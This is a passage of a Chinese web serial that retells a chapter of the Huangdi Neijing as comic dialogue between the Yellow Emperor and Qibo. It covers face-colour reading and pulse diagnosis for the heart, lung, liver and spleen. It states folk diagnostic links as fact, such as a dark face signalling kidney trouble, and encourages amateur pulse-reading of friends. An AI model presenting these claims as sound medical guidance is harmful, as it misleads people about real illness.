黄帝一听，哈哈大笑：“岐伯啊，你这比喻倒是生动形象，那‘正邪’呢？它们是不是就比较温顺，像只小猫咪一样？” 岐伯摇了摇头，笑道：“黄帝大人，您可别被名字给骗了。‘正邪’这家伙，虽然一开始看起来不起眼，就像是你脸上突然冒出来的那颗不起眼的小痘痘，你不仔细瞧还真发现不了。但它可狡猾着呢！它会先在你的皮肤上留下点痕迹，比如脸色变差，像是熬夜后的熊猫眼，但你自己可能还没啥感觉。这就像是你手机电量低于20%时，那个提醒的小图标悄悄出现，你却不以为意，继续刷剧打游戏。” 黄帝眨巴眨巴眼睛：“那它会一直这么隐身吗？咱们怎么发现它呢？” 岐伯继续解释道：“这家伙就像是捉迷藏的高手，若有若无，若亡若存。有时候你觉得它好像在那儿，但仔细一找，又没影儿了。它有时候有形，有时候又无形，搞得你一头雾水，不知道该不该紧张。这就像是你明明记得把钥匙放在玄关柜子上，但回头一找，怎么找也找不到，急得你满头大汗，最后却发现它竟然卡在门把手和柜子之间的缝隙里，藏得那叫一个隐蔽！” 黄帝听了，忍俊不禁：“岐伯啊，你这解释真是太逗了！这么说来，咱们的身体简直就是个小剧场，各种邪气进来就像是不同性格的演员，上演着一出出精彩的‘身体奇遇记’啊！” 岐伯也笑了：“可不是嘛！咱们的身体啊，就像是个大家庭，偶尔也会有不速之客来访。这些邪气啊，就像是家里突然闯进来的小淘气，有的明目张胆搞破坏，让你立马就能感受到；有的呢，就跟你玩起了躲猫猫，你得仔细观察，才能发现它们的蛛丝马迹。” 黄帝点头赞同：“那对付这些小淘气，咱们有没有什么妙招呢？” 岐伯沉吟片刻，说道：“对付这些邪气啊，咱们得讲究个‘预防为主，治疗为辅’。就像是家里养花，你得定期浇水施肥，还要防虫防病，这样花儿才能长得好。咱们的身体也一样，平时得多锻炼，合理饮食，保持良好的作息习惯，增强自身的抵抗力，这样邪气就不容易找上门来。万一真的中招了，也别怕，及时就医，对症治疗，就像是给花儿打药，把害虫消灭掉，花儿又能恢复生机了。” 黄帝听了，连连点头：“岐伯啊，你这一番话，可真是让我受益匪浅啊！咱们中医的智慧，真是博大精深，既深奥又有趣。以后我得好好跟你学学，把这中医之道发扬光大！” 岐伯谦虚地笑了笑：“黄帝大人过奖了。咱们中医啊，讲究的是天人合一，顺应自然，调和阴阳。只要咱们用心去学，去感受，就能发现其中的奥秘和乐趣。就像是大自然中的万物，各有各的生长规律，各有各的美妙之处，咱们的身体也是如此啊！” 黄帝心血来潮，决定找他的老中医朋友岐伯聊聊天，探讨一下中医的奥秘。黄帝一脸认真地问道：“岐伯啊，我听说，只要看人的脸色，就能知道他有什么病，这叫‘明’。再一摸脉，病情就了然于胸，这叫‘神’。要是再问问病人哪里不舒服，立马就能定位病灶，这叫‘工’。哎，我就想问问，这看、摸、问三合一的绝技，到底是怎么炼成的？” 岐伯一听，哈哈一笑，捋了捋他那白花花的胡子，说：“这事儿啊，简单得很，但又不简单。你看，咱们中医讲究的是望闻问切，你这提到的看、摸、问，其实就是其中的精华。这其中的道理，就像敲鼓和听回声，你敲一下鼓，声音立马就回响起来，两者之间那个默契，简直了，就跟双胞胎似的，分不开！” 黄帝眨巴眨巴眼睛，似乎有点明白，又似乎更糊涂了。岐伯见状，继续深入浅出地讲解：“咱们再打个比方，一棵树，有根、有干、有枝、有叶，对吧？这人啊，也是一样的，色（脸色）、脉（脉象）、形（形体）、肉（肌肉），都是身体的一部分，它们之间也是相互关联的。树根要是烂了，树叶还能绿油油的吗？不可能嘛！所以啊，人的脸色、脉象、形体、肌肉，这些都是身体健康的小信号，它们之间也是紧密相连，不能分割的。” 黄帝一听，恍然大悟，拍手叫好：“哎呀，岐伯你这比方打得，简直是妙不可言啊！这么说来，只要掌握了这些，看病就像玩儿一样简单了？” 岐伯摇了摇头，笑眯眯地说：“简单？也不尽然。你得先成为‘工’，也就是熟练工，能看病，但可能还得琢磨琢磨。再进一步，成为‘神’，那就厉害了，一摸脉，病情就清清楚楚，跟开了天眼似的。不过，最高的境界，那是‘神且明’，望闻问切，样样精通，看一眼就知道你昨晚吃了啥，摸一下就知道你心里在想啥，哈哈，开个玩笑。但真到了那个境界，看病就像读心术一样，轻松加愉快！” 黄帝听得津津有味，突然眼睛一亮，说：“岐伯，你这说得我都心动了，快教我几招，让我也成为‘神且明’的大师吧！” 岐伯哈哈大笑，说：“行啊，不过咱们得一步步来，先从望色开始。” “望色？就是看脸色呗？”黄帝好奇地问。 “对头！你看啊，人的脸色，那可是身体健康的晴雨表。要是脸色苍白，那可能是贫血或者气虚；要是脸色蜡黄，那可能是脾胃不好；要是脸色发黑，哎呀，那可就得小心了，可能是肾脏出了问题。所以啊，以后你走在街上，看到谁的脸色不对劲，心里就得嘀咕嘀咕，这家伙，是不是身体有点啥小毛病啊？”岐伯一番话说得幽默风趣，黄帝听得直乐呵。 “那摸脉呢？是不是就像摸小狗一样，摸摸就知道它健不健康？”黄帝调皮地问。 岐伯笑得前仰后合，说：“虽然不是摸小狗，但也差不多。脉象啊，那可是身体内部气血运行的反映。你摸到弦脉，就像摸到一根紧绷的琴弦，那可能是肝气郁结；摸到滑脉，就像摸到一颗颗小珠子在滚动，那可能是怀孕了或者体内有痰湿；要是摸到无脉，哎呀，那可不得了，那可能是心脏出了问题。所以啊，摸脉这事儿，得细心，得用心，不能马虎。” 黄帝听得连连点头，说：“那问病呢？是不是就像审讯犯人一样，得问个水落石出？” 岐伯又是一阵大笑，说：“审讯犯人？那倒不至于。但问病这事儿，确实得讲究技巧。你得问得细致，问得全面，还不能把病人问烦了。比如啊，你得问问病人哪里不舒服，疼了多久了，是隐隐作痛还是剧痛难忍；你得问问病人的饮食、睡眠、大小便情况，这些可都是重要线索。所以啊，问病这事儿，得耐心，得同理心，不能急。” 黄帝听得如痴如醉，说：“岐伯，你这中医小课堂，简直太棒了！我以后也要成为‘神且明’的大师，走遍天下都不怕！” 岐伯拍了拍黄帝的肩膀，说：“行啊，有志气！不过啊，成为大师可不是一朝一夕的事儿，你得勤学苦练，还得有悟性。最重要的是啊，你得有一颗仁心，这样才能真正治好病，造福百姓。” 黄帝郑重地点了点头，说：“岐伯，你放心，我一定会努力的！为了成为‘神且明’的大师，我拼了！” 接下来，咱们再聊聊这中医的望闻问切，为了让大家更好地理解，我再举几个有趣的例子。 先说望色吧。你想象一下，你走在街上，突然看到一个哥们儿脸色铁青，跟刚从冰箱里捞出来似的。这时候，你就可以运用中医的智慧，心里嘀咕：“这家伙，是不是吃了什么不对付的东西，或者昨晚熬夜太狠了？”虽然不能直接断定他得了什么病，但至少能感觉到他身体状态不佳。这时候，你要是上去关心一下，说不定还能收获一份友谊呢！ 再说摸脉吧。你想象一下，你跟朋友聚会，聊着聊着，突然心血来潮，想给他把把脉。你伸出手指，轻轻搭在他的手腕上，然后装模作样地摸了一会儿，突然眼睛一亮，说：“嘿，你最近是不是有点失眠啊？”朋友一听，惊讶得下巴都快掉下来了，连忙问你怎么知道的。你就可以神秘一笑，说：“这是中医的奥秘，摸脉就能知道你的身体状况。”这样一来，你是不是就成了朋友圈里的“小神医”了？ 至于问病嘛，这个就更简单了。你想象一下，你有个亲戚来找你诉苦，说他最近身体不舒服。你就可以运用中医的智慧，耐心地问他：“你最近饮食怎么样？睡眠好不好？有没有感觉哪里特别疼或者不舒服？”这样一来，你就能收集到足够的信息，然后运用中医的知识，给他一些建议或者安慰。这样一来，你是不是就成了亲戚眼里的“贴心小棉袄”了？ 黄帝闲来无事，就对岐伯说：“岐伯啊，咱们再聊聊医学吧，这次我想彻彻底底地把那些望诊啊、脉象啊的东西搞明白，行不？”岐伯一听，嘿，黄帝这是要开挂了呀，连忙答道：“得嘞，陛下您想听，我这就给您细细道来。” 岐伯清了清嗓子，开始他的爆笑讲解：“您看哈，咱们中医讲究的是‘望闻问切’，这望诊啊，就是看病人的脸色。要是看到人家脸色发青，那基本上他的脉象就是弦脉了。弦脉是个啥？就像弹古筝的那个弦一样，紧绷绷的，一摸就能感觉到那股子劲儿，这说明人体里的肝气可能有点过旺或者是不顺溜啦。” 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 黄帝一听，乐了：“哟呵，这弦脉还挺有艺术气息的嘛。” 岐伯接着说：“可不是嘛，再看那些脸色发红的人，他们的脉象就像是弯弯的钩子，咱们叫钩脉。钩脉啊，就像是钓鱼竿上的钩子，轻轻一碰，就知道这鱼儿（气血）正活蹦乱跳呢，说明心气旺盛，气血充足。不过啊，要是红得太过分，那可能就得小心心脏方面的问题了。” 黄帝眨眨眼：“这钩脉听起来还挺有趣的，那黄色的脸色呢？” 岐伯笑道：“黄色脸色的朋友们，他们的脉象就比较特别了，叫做代脉。代脉就像是上班打卡，时不时来一下，不规律得很。这通常说明脾胃功能不太好，气血生成和运输有点问题。不过您也别太担心，这代脉虽然听起来不靠谱，但调理调理，还是能让脾胃重回正轨的。” 黄帝点点头：“嗯，那白色的脸色呢？” 岐伯摸了摸下巴：“白色脸色的朋友们，他们的脉象就像是柔软的毛毛，咱们称之为毛脉。毛脉啊，就像是小猫小狗身上的绒毛，轻轻一碰就感觉软绵绵的，这说明肺气不足，身体有点虚弱。不过呢，这毛脉虽然听起来弱不禁风，但要是调理得当，也是能恢复元气的。” 黄帝笑得前仰后合：“哈哈，这毛脉听起来还挺可爱的嘛。” 岐伯也跟着笑：“是啊，最后咱们来说说黑色的脸色。这黑色的脸色啊，可不是什么好事儿，他们的脉象就像是石头一样，咱们叫它石脉。石脉硬邦邦的，一摸就知道这气血运行不畅，肾气可能严重亏损了。所以啊，看到这种石脉，咱们就得赶紧想办法，不然可真就危险了。” 黄帝收起笑容，认真地说：“原来如此，那这望诊和脉象结合起来看，是不是就能更准确地判断病情了呢？” 岐伯点头：“没错，陛下真是聪明绝顶。您看哈，要是看到一个人脸色发青，结果一摸脉，嘿，不是弦脉，反而是克它的脉象（比如浮脉，通常代表外感风寒），那这人可能就凶多吉少了。为啥呢？因为脉象和脸色不匹配，说明身体内部的平衡已经被严重打破了。” 黄帝皱了皱眉：“那要是脉象和脸色相匹配，或者相生相克得当呢？” 岐伯笑道：“那当然是好事啦！比如脸色发红，脉象也是钩脉，那说明这人虽然可能有点心火旺，但气血充足，身体还是杠杠的。要是脉象还能相生（比如出现缓脉，代表脾胃功能良好，能滋养心气），那更是锦上添花，病情很快就能好转啦。” 黄帝听得津津有味：“岐伯啊，你这讲解真是既生动又有趣，让我这个门外汉都听得明明白白。看来咱们中医真是博大精深啊！” 岐伯拱手笑道：“陛下过奖了，咱们中医讲究的就是天人合一，通过观察人体的外在表现，就能窥探到身体内部的奥秘。所以啊，以后您要是再看到谁的脸色不对劲，不妨也试着摸摸脉，说不定还能发现点什么呢！” 邪气藏府病形篇第四（四） 黄帝闲着没事，就跑到岐伯那儿去串门。黄帝可是个好学之人，虽然已经是万人之上的大佬了，但还是喜欢钻研些医学知识，毕竟身体是革命的本钱嘛。 黄帝一进门，就扯着嗓子问岐伯：“嘿，岐伯老师，你说咱们这五脏六腑啊，它们要是生了病，会不会在脸上或者脉搏上露出点啥马脚呢？我好学学，以后也好给自己做个初步诊断，省得老去麻烦您老人家。” 岐伯一听，心里暗笑：“这黄帝啊，还真是逗，不过也好，给他讲讲，让他也长长见识。”于是，岐伯就慢悠悠地回答说：“黄帝啊，这事儿啊，其实也不难。你得先学会看五色、摸五脉，这病啊，自然就一目了然了。” 黄帝一听，眼睛一亮，仿佛看到了新世界的大门：“哦？快说说，快说说，这五色五脉到底是咋回事？” 岐伯清了清嗓子，开始了他的爆笑中医课堂：“首先啊，咱们得知道，五脏对应着五种颜色。心脏呢，是红色的代表，就像热情似火的夏天，你要是看到一个人的脸跟红苹果似的，那他的心脏可能就在给你打招呼了。肝脏呢，是青色的，就像春天里刚发芽的小草，嫩绿嫩绿的。要是有人脸色发青，那他的肝脏可能就不太高兴了。 脾脏对应的是黄色，就像秋天丰收的麦田，金黄金黄的。但是啊，你要是看到一个人的脸黄得跟蜡纸似的，那就别犹豫了，他的脾脏可能正在向你求救呢。肺脏是白色的，就像冬天里飘落的雪花，纯洁无瑕。不过啊，如果有人脸色苍白，那可能他的肺脏就有点小感冒了。肾脏呢，是黑色的，就像深夜里的星空，深邃而神秘。但要是有人脸黑得跟包青天似的，那他的肾脏可能就得好好保养保养了。” 黄帝听得津津有味，还不时地点点头：“嗯，这五色还挺有意思的，那五脉呢？是不是也跟五脏有关系？” 岐伯笑了笑，继续说道：“五脉啊，那当然啦。咱们中医讲究的是‘望闻问切’，这切啊，主要就是切脉。心脏对应的脉象是洪脉，就像夏天的洪水一样，汹涌澎湃。你要是摸到一个人的脉搏跳得跟打鼓似的，那他的心脏可能就在告诉你它很激动了。肝脏对应的脉象是弦脉，就像琴弦一样紧绷绷的。要是有人脉搏跳得跟拉二胡似的，那他的肝脏可能就有点紧张了。 脾脏对应的脉象是缓脉，就像秋天的风一样，不紧不慢。但你要是摸到一个人的脉搏跳得跟蜗牛爬似的，那他的脾脏可能就有点慵懒了。肺脏对应的脉象是浮脉，就像水面上漂的浮萍，轻轻一碰就晃。如果有人脉搏跳得跟跳舞似的，轻飘飘的，那他的肺脏可能就在向你展示它的轻盈了。肾脏对应的脉象是沉脉，就像海底的石头，沉稳而有力。但你要是摸到一个人的脉搏跳得跟潜水员似的，沉得要命，那他的肾脏可能就得好好补补了。” 黄帝听完，哈哈大笑：“岐伯啊，您这一讲，我可是茅塞顿开啊。以后啊，我就可以根据这五色五脉，给自己做个初步诊断了。不过啊，我还是得时常来请教您老人家，毕竟这医学啊，可不是一朝一夕就能学通的。” 岐伯也笑了：“黄帝啊，您这谦虚劲儿，我可是佩服得五体投地啊。不过啊，这医学啊，确实得活到老学到老。咱们啊，就一起努力，把这中医发扬光大吧！” 黄帝闲来无事，便召集了他的医疗团队核心成员——岐伯，准备来一场关于中医诊断的深入探讨。黄帝清了清嗓子，一本正经地问道：“岐伯啊，咱们都知道，通过观察病人的面色和把脉，可以初步判断病情。但是，这脉诊到底怎么个‘别之’法呢？也就是说，怎么通过脉象进一步精确辨析病症呢？” 岐伯一听，心里暗笑：这黄帝啊，平时忙于国事，对医学虽然热爱，但终究还是门外汉嘛。不过，既然陛下发问，那当然得好好讲讲啦！于是，岐伯故作神秘，缓缓说道：“陛下，这事儿啊，说简单也简单，说复杂也复杂。咱们得先从脉象的‘缓急、小大、滑涩’这三方面入手，然后嘛，嘿嘿，病变就像变魔术一样，自然而然地就浮出水面啦！” 黄帝一听，眼睛一亮，催促道：“快快快，别卖关子了，赶紧给我细细道来！” 岐伯微微一笑，开始了他的爆笑脉诊讲解。 “首先啊，咱们说这脉象的‘缓急’。你想啊，如果一个人的脉象跳得跟小兔子似的，‘砰砰砰’的，那肯定是身体里有股子热劲儿在捣鬼，不是上火就是发炎。反过来呢，要是脉象慢悠悠的，跟老大爷散步似的，那这人八成是气虚或者体寒。这缓急之间，学问大了去了！” 黄帝听得津津有味，点头称赞：“嗯，有道理！那‘小大’呢？” 岐伯摸了摸下巴上的小胡子，继续说道：“这‘小大’啊，说的是脉象的粗细。脉象粗大的，就像是河里涨大水，说明这人气血旺盛，或者是有淤血堵在里面。脉象细小的呢，就像小溪流涓涓细流，表示这人气血不足，得赶紧补补。所以啊，咱们中医看病，有时候就跟看河流水位似的，一望便知！” 本小章还未完，请点击下一页继续阅读后面精彩内容！ 黄帝哈哈大笑：“岐伯啊，你这比喻真是绝了！那‘滑涩’呢？这个我可得好好听听。” 岐伯神秘一笑：“这‘滑涩’啊，可是脉诊中的重头戏！脉象滑的，就像是手心里抹了一层油，滑溜溜的，一摸就知道这人身体里湿气重，或者有痰。脉象涩的，就像是走在沙漠里，脚底下全是沙子，走一步滑一步，说明这人气血不足，经络不通。所以啊，这滑涩之间，可是藏着大大的学问呢！” 黄帝听得眉飞色舞，忍不住拍手叫好：“岐伯啊，你这脉诊讲解真是通俗易懂，又不失幽默风趣！看来，咱们中医还真是博大精深啊！” 岐伯谦虚地笑了笑：“陛下过奖了。其实啊，脉诊这东西，说到底是经验积累。就像咱们平时炒菜一样，火候、调料都得恰到好处，才能炒出美味佳肴。脉诊也是这样，得多摸、多看、多总结，才能摸出门道来。” 黄帝心血来潮，对身边的岐伯说：“岐伯啊，咱们聊聊怎么给人调理身体吧！你说这脉诊，到底该咋调呢？” 岐伯一听，嘿，这黄帝今天是想来场学术探讨啊，于是慢悠悠地捋了捋胡子，一本正经地回答：“皇上啊，这事儿说简单也简单，说复杂也复杂。您看，要是这人的脉跳得跟打鼓似的，急得很，那他手腕下边的皮肤肯定也是紧绷绷的，跟拉满的弓弦似的。” 黄帝一听，觉得挺有意思，连忙追问：“那要是脉跳得慢悠悠的呢？” 岐伯笑了笑，接着说：“要是脉跳得慢悠悠的，跟散步的大爷似的，那他的皮肤也是松松垮垮的，没啥弹性，感觉就像是放了气的皮球。” 黄帝一听，哈哈大笑：“这脉诊还真是奇妙啊！那脉要是跳得跟细线似的，又细又小呢？” 岐伯眨了眨眼，幽默地说：“脉小啊，那就像是皮肤也跟着节食减肥了，不光脉细，连皮肤都显得干瘪瘪的，气儿都不足了，跟饿了好几天似的。” 黄帝一听，笑得前仰后合：“饿瘦的皮肤，这比喻可真够逗的！那脉要是跳得跟大河流水似的，又宽又大呢？” 岐伯也忍不住笑了：“脉大？那皮肤也跟着起哄，鼓得跟吹满气的河豚一样，看起来特别有劲儿，跟打了鸡血似的。” 黄帝乐不可支：“这脉诊真是太有意思了！那脉要是滑溜溜的，像泥鳅一样呢？” 岐伯继续他的幽默讲解：“脉滑啊，那皮肤也跟着学会了溜冰，摸起来滑不溜手的，感觉像是摸了层油。” 黄帝听得津津有味：“那脉要是涩得很，跟生锈的铁链子似的呢？” 岐伯故作深沉地说：“脉涩，皮肤也跟着不灵光，摸起来就像是被砂纸磨过一样，涩得很，让人心里直痒痒，想不去挠挠都不行。” 黄帝听完，拍手叫好：“岐伯啊，你这解释得太生动了！那根据这些变化，咱们怎么判断病情的轻重呢？” 岐伯收起笑容，认真地说：“这变化啊，有轻有重，就像是人的心情，有时候晴空万里，有时候阴云密布。所以，高手调尺脉，根本不用看寸脉；高手摸脉，也不用看脸色。能把这些综合起来看的人，那才是真正的医学大师，治十个病人能治好九个，简直就是神医在世！” 黄帝一听，瞪大了眼睛：“这么厉害？那中等的医生呢？” 岐伯捋了捋胡子，接着说：“中等的医生啊，能掌握其中一两项技巧，治十个病人能治好七个，也算是小有成就，算是医学界的‘中等生’吧。” 黄帝好奇地问：“那下等的医生呢？” 岐伯叹了口气：“下等的医生啊，可能就只会一招半式，治十个病人能治好六个，勉强及格吧。就像是考试时候临时抱佛脚，能蒙对几道题，但终究不是长久之计。” 黄帝听完，若有所思地点点头：“原来如此啊！看来，这医学之道，还真是博大精深，需要不断学习，才能成为真正的神医啊！” 岐伯笑着点头：“没错，皇上说得对啊！医学这东西，可不是一朝一夕就能学会的，得下功夫，得用心。就像是炒菜一样，火候、调料、食材都得恰到好处，才能炒出一盘色香味俱全的好菜。咱们这脉诊啊，也是一样的道理，得细心观察，用心体会，才能准确判断病情，给人调理好身体。” 黄帝一听，哈哈大笑：“岐伯啊，你这比喻真是太贴切了！以后咱们多聊聊这些医学知识，也让我这皇帝长长见识嘛！” 岐伯也笑了：“皇上愿意听，臣自然是知无不言，言无不尽。咱们以后啊，就多聊聊这医学之道，也让臣有机会为皇上分忧解难。” 于是，黄帝和岐伯就这样聊开了。他们时而严肃认真，时而幽默风趣，把医学知识讲得生动有趣，让人听得津津有味。 就说这脉诊吧，岐伯还举了个例子：“皇上您看，这脉就像是咱们身体里的天气预报员，它一跳一跳的，就是在告诉我们身体里的天气情况。要是脉跳得太快了，就像是天气太热了，咱们就得赶紧喝点凉茶，降降温；要是脉跳得太慢了，就像是天气太冷了，咱们就得多穿点衣服，暖暖身子。这脉诊啊，其实就是这么回事儿！” 这章没有结束，请点击下一页继续阅读！ 黄帝闲来无事，就对岐伯说：“嘿，岐伯，咱们来聊聊脉诊那些事儿吧！你说说，脉象要是急啊、缓啊、大啊、小啊，还有滑不溜丢、涩巴巴的，这些都能反映出啥毛病来？给我细细道来！” 岐伯一听，嘿，这可是展示自己的大好机会，立马正色道：“得嘞，大帝您听好了，我这就给您说说五脏那些‘小情绪’是怎么通过脉象表现出来的。咱们先从心开始聊起哈！” “要是心脉跳得跟打鼓似的，砰砰砰，急得要命，那这人八成是要抽筋儿，就是我们说的‘瘈瘲’，跟被电了一下似的，全身乱抖。要是稍微急点儿呢，那就是心痛得要命，连带着后背都跟着遭罪，吃饭都没心情，看到美食都得摇头，心里默念：‘美食诚可贵，健康价更高啊！’” “反过来，如果心脉慢得像蜗牛爬，悠悠哉哉的，嘿，这人可别以为他是淡定哥，他可能是要变‘狂笑侠’了，无缘无故就哈哈大笑，笑得你莫名其妙，心想：‘这家伙是不是吃错药了？’稍微慢点呢，就可能长了个‘伏梁’，这东西就在心窝下面溜达，上上下下，时不时还吐点血，吓得周围人一愣一愣的。” “要是心脉粗得跟水管似的，大大的，那这人喉咙估计得遭罪，说话跟鸭子叫一样，‘嘎嘎’的，咱们称之为‘喉吤’。稍微大点儿呢，就是心痛连带着背也痛，眼泪还特别多，看个电视剧都能哭得稀里哗啦的，别人还以为他情感丰富呢！” “反过来，心脉要是细得跟头发丝儿似的，小得可怜，这人可能就得经常打嗝了，跟个小青蛙似的，‘咯咯咯’个不停。要是稍微小点儿，那就是‘消瘅’，吃什么都不长肉，瘦得跟竹竿儿似的，让人羡慕又心疼。” “说到滑脉，滑不溜秋的，就像摸了层油，要是滑得太过分，这人就得老喝水，跟鱼儿离不开水似的，一天八杯水都不解渴。稍微滑点儿呢，可能就是‘心疝’，肚子那儿不舒服，连带着肚脐周围都跟着起哄，小腹还‘咕咕咕’直叫，跟里面有只饿狼似的。” “至于涩脉，涩巴巴的，跟吃了没熟的柿子似的，要是涩得太狠，这人可能就得变成‘哑巴侠’了，想说话都张不开嘴，急死个人。稍微涩点儿呢，那就是血不老实了，到处乱跑，可能导致鼻子出血、手脚发凉，还有耳鸣，嗡嗡嗡的，跟脑袋里住了只蜜蜂似的，最严重的还可能得颠痫，突然倒地不起，吓得周围人魂飞魄散。” 邪气藏府病形篇第四（五） 话说有一天，黄帝心血来潮，决定向岐伯请教一个深奥的医学问题。黄帝清了清嗓子，一本正经地问道：“岐伯啊，你这老中医可得给我讲讲，肺脉要是出现缓急、小大、滑涩这些变化，那对应的病症都是啥样啊？” 岐伯一听，嘿，这可是个展示自己医术的好机会啊！于是他故作深沉地捋了捋胡须，开始娓娓道来：“黄帝啊，你这问题问得好，咱们中医讲究的就是望闻问切，而这切脉啊，可是一门大学问。要说肺脉急甚，那可不得了，简直就是癫狂的节奏啊！想象一下，一个人肺脉急得像被狗追一样，那肯定是精神上有点问题，说不定正满大街追着别人要签名呢，哈哈！当然啦，这只是开个玩笑，实际上肺脉微急的话，可能就是肺有点寒热不均，人会变得懒洋洋的，咳嗽起来还可能吐痰带血，腰啊背啊胸啊都跟着受罪，鼻子呢，就像被水泥堵住了似的，不通气儿。” 黄帝一听，哈哈大笑：“你这岐伯，说话还挺逗！那肺脉要是缓呢？” 岐伯眨了眨眼，继续他的幽默讲解：“肺脉要是缓得跟散步似的，那你就得小心了，这人可能多汗得跟刚洗完澡一样，走哪儿都是水渍渍的。要是微缓呢，那就更逗了，他可能变成‘软体动物’了，四肢无力，跟被抽干了气的皮球一样，说不定还会得个偏瘫啥的，脑袋以下的地方汗如雨下，想止都止不住，你说逗不逗？” 黄帝笑得前仰后合：“你这岐伯，真是人才啊！那肺脉大起来又会怎样？” 岐伯故作神秘地说：“肺脉要是大得跟大象腿似的，那可得小心了，这人小腿可能会肿得跟大象腿一样粗，走路都得横着走。要是微大的话，那就是肺痹了，胸背都可能跟着遭殃，最关键的是，这人还见不得阳光，一晒太阳就难受得要命，你说这得多矫情啊！” 黄帝一听，又是一阵大笑：“那肺脉小起来呢？” 岐伯摸了摸下巴，一本正经地说：“肺脉要是小得跟豆芽菜似的，那你就得准备好止泻药了，这人可能会拉肚子拉到腿软。要是微小的话，那就更糟糕了，可能会得个‘消瘅’病，就是身体越来越瘦，跟竹竿似的，风一吹都能倒。” 黄帝听了，笑得眼泪都出来了：“你这岐伯，真是把中医讲得生动有趣啊！那肺脉滑起来会怎样？” 岐伯嘿嘿一笑，说：“肺脉要是滑得跟泥鳅似的，那你可得小心了，这人可能会气喘吁吁，上气不接下气，跟刚跑完马拉松似的。要是微滑的话，那就更逗了，他可能上下都会出血，比如牙龈出血、鼻子出血啥的，说不定哪天吃个饭都能吃出一脸血来，哈哈！” 黄帝一听，更是笑得合不拢嘴：“那你这岐伯，再说说肺脉涩起来会怎样吧？” 岐伯清了清嗓子，故作紧张地说：“肺脉要是涩得跟生锈的铁管似的，那你可得准备好急救药了，这人可能会呕血，吓得你魂飞魄散。要是微涩的话，那就更惨了，可能会得个‘鼠瘘’病，就是脖子上、腋窝下会长出一些小包包，就像老鼠偷东西时留下的包包一样，看着都恶心。而且啊，这人还会经常觉得酸酸的，说不定哪天吃个柠檬都能酸得泪流满面呢！” 黄帝一脸好奇地问：“岐伯啊，你说这肝脉要是跳得快了慢了、粗了细了、滑了涩了，是不是都能反映出咱们身体的某些小秘密呢？快给我讲讲吧！” 岐伯一听，嘿，这黄帝今天这是想学点“读心术”啊，专门解读肝脉的“心情密码”。于是，岐伯清了清嗓子，开始了他的爆笑讲解。 “好嘞，黄帝，咱们就先说这肝脉急的事儿吧。你想啊，如果一个人肝脉跳得特别快，跟踩了风火轮似的，那他八成是个‘话痨终结者’，一张嘴就能把人噎得半死，恶言恶语那是家常便饭。为啥呢？因为这肝火太旺了，火大烧心啊！但要是肝脉只是稍微快点，没那么急，那就可能是‘肥气’在作祟了。这肥气可不是什么好吃的，它躲在胁下，跟个大杯子扣在那儿似的，让人隐隐作痛，还不容易察觉呢！” 黄帝一听，笑得差点岔气：“哈哈，这肝脉还能预报人的脾气啊！那要是肝脉跳得慢呢？” 岐伯摆摆手：“别急，黄帝，肝脉要是跳得慢，这人的肠胃可能就不太给力了。想象一下，肝脉慢悠悠的，跟个大爷散步似的，那肠胃估计也好不到哪儿去，动不动就爱吐两口。要是慢得不太明显，那就可能是水瘕痹了，身体里水湿太多，关节啊、肌肉啊都可能跟着遭殃。” 黄帝摸了摸下巴，若有所思：“嗯，有意思。那肝脉要是跳得特别粗呢？” 岐伯故作神秘：“肝脉粗啊，这人可得小心了，说不定体内已经藏了个‘内 痈’小怪兽呢！这小怪兽平时就爱捣乱，让人时不时就想吐，有时候还会鼻子出血，跟开了水龙头似的。要是粗得不那么夸张，那可能就是肝痹了。这时候啊，阴囊可能会缩起来，像是被谁偷偷捏了一把，咳咳，还有啊，咳嗽的时候小腹也跟着受罪，那感觉，啧啧，可不好受。” 这章没有结束，请点击下一页继续阅读！ 黄帝笑得前仰后合：“你这比喻，真是太形象了！那肝脉细呢？” 岐伯眨眨眼：“肝脉细啊，这人可能就是个‘水桶’体质，整天口渴得要命，喝水跟喝酒似的，停不下来。但要是细得不那么明显，那就可能是消瘅了，也就是咱们现在说的糖尿病之类的，人可能会慢慢消瘦下去，跟被风干了似的。” 黄帝点点头：“嗯，那肝脉滑呢？” 岐伯一脸正经地说：“肝脉滑啊，这人可得小心‘疝’找上门了。想象一下，肝脉滑得像泥鳅，那疝气就可能趁机作乱，让人疼得直哼哼。但要是滑得不那么厉害，那就可能是遗溺了，也就是尿失禁，咳咳，这可得尴尬死了。” 黄帝笑得眼泪都快出来了：“你这中医术语加上幽默解说，简直绝了！那肝脉涩呢？” 岐伯一拍大腿：“肝脉涩啊，这人可能就是个‘水牛’，身体里水湿泛滥，喝进去的水都溢出来了，变成了溢饮。要是涩得不那么明显，那就可能是瘈挛筋痹了，筋肉啊、关节啊都可能跟着抽筋、疼痛，那感觉，啧啧，跟被电了一下似的。” 黄帝听完，笑得合不拢嘴：“岐伯啊，你这讲解真是太逗了！看来，这肝脉的‘心情密码’还真不少呢！以后咱们得多聊聊，把这些中医的奥秘都挖掘出来，让更多人都能乐在其中，学到知识。” 岐伯也笑了：“那是自然，黄帝大大。中医嘛，本来就是一门既深奥又有趣的学问。咱们用幽默的方式来讲解，既能让人学到知识，又能让人开怀大笑，何乐而不为呢？” 当然啦，咱们在欢笑之余，也别忘了中医的博大精深。肝脉作为人体的重要脉象之一，它的变化确实能够反映出人体的健康状况。比如肝脉急可能预示着肝火旺盛、情绪易怒；肝脉缓则可能与脾胃功能不佳、水湿内停有关；肝脉大则可能暗示着体内有热毒、瘀血等病理因素；肝脉细则可能与阴虚火旺、气血不足有关；肝脉滑则可能与痰湿、湿热等病理产物有关；肝脉涩则可能与血瘀、气滞等病理变化有关。 黄帝心血来潮，决定考考岐伯：“嘿，岐伯，咱们来聊聊脾脉的那些事儿吧！你说说，脾脉要是跳得急、跳得慢、跳得大、跳得小，还有滑不溜秋或者涩涩的，这都是啥病的预兆啊？” 岐伯一听，眼睛一亮，心想：这黄帝今儿个是想玩点高难度的啊！于是他清了清嗓子，开始了一场中医版的“脉象脱口秀”。 “黄帝，你问得好啊！咱们先说这脾脉急的事儿。要是脾脉跳得跟兔子似的，那叫一个急啊，那可能就是‘瘈瘲’了。啥是‘瘈瘲’？说白了就是身体不受控制地抽搐，跟装了电动马达似的。要是稍微急点呢，那就是膈肌那儿出问题了，吃东西进去，还没尝到味儿呢，嗖的一下又原封不动地跑出来了，还附赠一口泡沫痰，那感觉，酸爽得很呐！” 黄帝一听，差点没忍住笑出声来：“岐伯，你这描述，简直是美食博主的反面教材啊！” 